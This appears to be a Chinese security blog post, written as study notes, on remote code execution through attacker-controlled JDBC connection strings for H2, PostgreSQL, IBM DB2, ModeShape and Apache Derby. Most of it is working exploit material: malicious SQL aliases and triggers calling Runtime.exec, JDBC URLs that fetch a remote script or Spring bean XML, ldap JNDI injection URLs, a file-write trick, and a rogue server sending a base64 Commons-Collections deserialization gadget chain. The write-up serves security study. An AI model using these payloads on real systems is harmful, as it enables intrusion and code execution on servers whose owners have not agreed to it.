前言
JDBC的路漫漫,之前只学过mysql的JDBC RCE,趁此机会补一下
H2 RCE
H2数据库是之前不怎么见到过的一款数据库,之前都不清楚可以RCE,但从最近爆出的MetaBase 2023 的CVE来看还是挺重要的,所以趁着这个机会给他一起学一下。
INIT RunScript RCE
在H2数据库进行初始化的时候或者当我们可以控制JDBC链接时即可完成RCE,并且有很多利用,首先就是INIT,进行H2连接的时候可以执行一段SQL脚本,我们可以构造恶意的脚本去RCE
poc.sql
1
| CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')
|
然后在初始化的时候指定JDBC链接为
1
| jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
|
其中INIT=RUNSCRIPT FROM '[http://127.0.0.1:8000/poc.sql'](http://127.0.0.1:8000/poc.sql')
就会去获取恶意的sql脚本,进而RCE
不出意外完美的RCE了~
Alias Script RCE
假如可以执行任意H2 SQL的语句,那么也可以完成RCE,其实上述的INIT实质上也就是执行任意H2的sql语句。而执行语句也有很多讲究。对于上述的INIT需要出网,而我们可以利用加载字节码达到不出网RCE的效果,类似于SPEL以及OGNL注入内存马。
1 2 3 4 5 6
| //创建别名 CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//调用SHELLEXEC执行命令 CALL SHELLEXEC('id'); CALL SHELLEXEC('whoami');
|
这样也可以RCE,所以H2的攻击面是很多的
TRIGGER Script RCE
除了Alias别名还可以用TRIGGER去手搓groovy或者js代码去rce,但是groovy依赖一般都是不会有的,所以js是更加通用的选择。
1 2 3
| private static boolean isGroovySource(String var0) { return var0.startsWith("//groovy") || var0.startsWith("@groovy"); }
|
这里是groovy执行命令的逻辑,对应的exp是
1 2 3
| Class.forName("org.h2.Driver"); String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x"; String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'";
|
然后就是最常用的JS代码了,我们也可以利用JS加载内存马,但是要看是什么中间件
1 2 3
| CREATE TRIGGER poc2 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript java.lang.Runtime.getRuntime().exec("calc") $$;
|
假如你想加载内存马你可以参考https://blog.csdn.net/qq_45603443/article/details/126698982
这是基于SpringBoot的内存马
Mysql JDBC RCE
年轻时期的pop早已学习
WebDog必学的JDBC反序列化
mysql的JDBC反序列化是最常见的。。。
PostgreSQL JDBC RCE
socketFactory/socketFactoryArg RCE
POP只在CTFSHOW的题目稍稍微微的看到了一下,这就来复现分析一波~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.javasec.jdbc.postgres;
import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException;
public class PsqlJDBCRCE { public static void main(String[] args) throws SQLException { String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:8000/bean.xml"; String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg; Connection connection = DriverManager.getConnection(jdbcUrl); } }
|
1 2 3 4 5
| <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.3.1</version> </dependency
|
bean.xml
1 2 3 4 5 6 7 8 9 10
| <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{ pb.start() }"/> </bean> </beans>
|
利用到了一个类,之前学spring经常用到的,操控bean的类,ClassPathXmlApplicationContext.class
调用流程
先知社区其实有一个很好理解的图
在psql的jdbc初始化的时候会读取jdbc链接里的某个参数,并且进行一些操作。
首先进入这个connect方法。随后进入makeconnect,携带2个参数,url和props,分别如下
重点关注一下socketFactory的参数以及socketFactoryargs这两个参数,他们最后会进行实例化相关的操作。
以上四步都是一些初始化准备过程,然后接下来会进入到ObjectFactory.instantiate
方法,在这里进行实例化相关操作
实例化了刚刚说的CPX类,读取一个xml文件,实例化某个bean,导致了RCE
socketFactory/socketFactoryArg RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package com.javasec.jdbc.postgres;
import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException;
public class PsqlJDBCRCE { public static void main(String[] args) throws SQLException { String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:8000/bean.xml"; String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?sslfactory="+socketFactoryClass+ "&sslfactory="+socketFactoryArg; Connection connection = DriverManager.getConnection(jdbcUrl); } }
|
其余不变,原理一模一样,代替品
但是好像需要密码认证?
loggerLevel/loggerFile 任意文件写入
这个也是需要密码的。实用性也不是很大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.javasec.jdbc.postgres;
import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException;
public class PsqlJDBCRCE { public static void main(String[] args) throws SQLException { String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1:8000/bean.xml"; String loggerLevel = "debug"; String loggerFile = "test.txt"; String shellContent="test"; String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent; Connection connection = DriverManager.getConnection(jdbcUrl); } }
|
IBM DB2 JDBC JNDI RCE
1 2 3 4 5
| <dependency> <groupId>com.ibm.db2</groupId> <artifactId>jcc</artifactId> <version>11.5.0.0</version> </dependency>
|
首先是环境搭建,需要搭建一个DB2的数据库,这里我就直接拉docker了。
docker pull ibmcom/db2express-c:latest
docker run -d --name db2 --privileged=true -p 50000:50000 -e DB2INST1_PASSWORD=db2admin -e LICENSE=accept ibmcom/db2express-c db2start
1 2 3 4 5 6 7 8 9 10 11
| package com.javasec.jdbc.DB2;
import java.sql.DriverManager;
public class DB2JDBCRCE { public static void main(String[] args) throws Exception { Class.forName("com.ibm.db2.jcc.DB2Driver"); DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/fgfhjn;"); } }
|
流程分析
入口点也是connect方法(com.ibm.db2.jcc)
然后一系列的预处理后就进入了run方法,run方法里面有lookup(com.ibm.db2.jcc.am)
然后自然就JNDI了
ModeShape JDBC JNDI RCE
1 2 3 4 5
| <dependency> <groupId>org.modeshape</groupId> <artifactId>modeshape-jdbc</artifactId> <version>5.4.1.Final</version> </dependency>
|
这个也和上面的一样是JNDI注入。
1 2 3 4 5 6 7 8 9 10 11 12
| package com.javasec.jdbc.ModeShape;
import java.sql.DriverManager; import java.sql.SQLException;
public class Demo { public static void main(String[] args) throws ClassNotFoundException, SQLException { Class.forName("org.modeshape.jdbc.LocalJcrDriver"); DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/q2s3n8"); } }
|
流程分析
首先也是connect起步
其中repositoryDelegate.createConnection
后续会做一些处理
initReposity方法
lookup触发
Apache Derby
1 2 3 4 5
| <dependency> <groupId>org.apache.derby</groupId> <artifactId>derby</artifactId> <version>10.10.1.1</version> </dependency>
|
evilserver
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public static void main(String[] args) throws Exception { int port = 4444; ServerSocket server = new ServerSocket(port); Socket socket = server.accept();
String evil="rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANiYmJ4"; byte[] decode = Base64.getDecoder().decode(evil);
socket.getOutputStream().write(decode); socket.getOutputStream().flush(); Thread.sleep(TimeUnit.SECONDS.toMillis(5)); socket.close(); server.close(); }
|
demo
1 2 3 4 5 6 7 8 9 10 11 12
| package com.javasec.jdbc.Derby;
import java.sql.DriverManager;
public class demo { public static void main(String[] args) throws Exception{ Class.forName("org.apache.derby.jdbc.EmbeddedDriver"); DriverManager.getConnection("jdbc:derby:dbname;startMaster=true;slaveHost=127.0.0.1"); } }
|
先用create=true创建一个。才可以进行下一步
流程分析
在ReplicationMessageTransmit$MasterReceiverThread
内部类中有一个readMessage方法,在进行连接时会直接反序列化数据流
SQLITE
这个我就不想多讲了,没有啥利用点基本,load_extension默认是关闭的,只可以进行SSRF,鸡肋。
结尾
至此JDBC-ATTACK就告一段落了~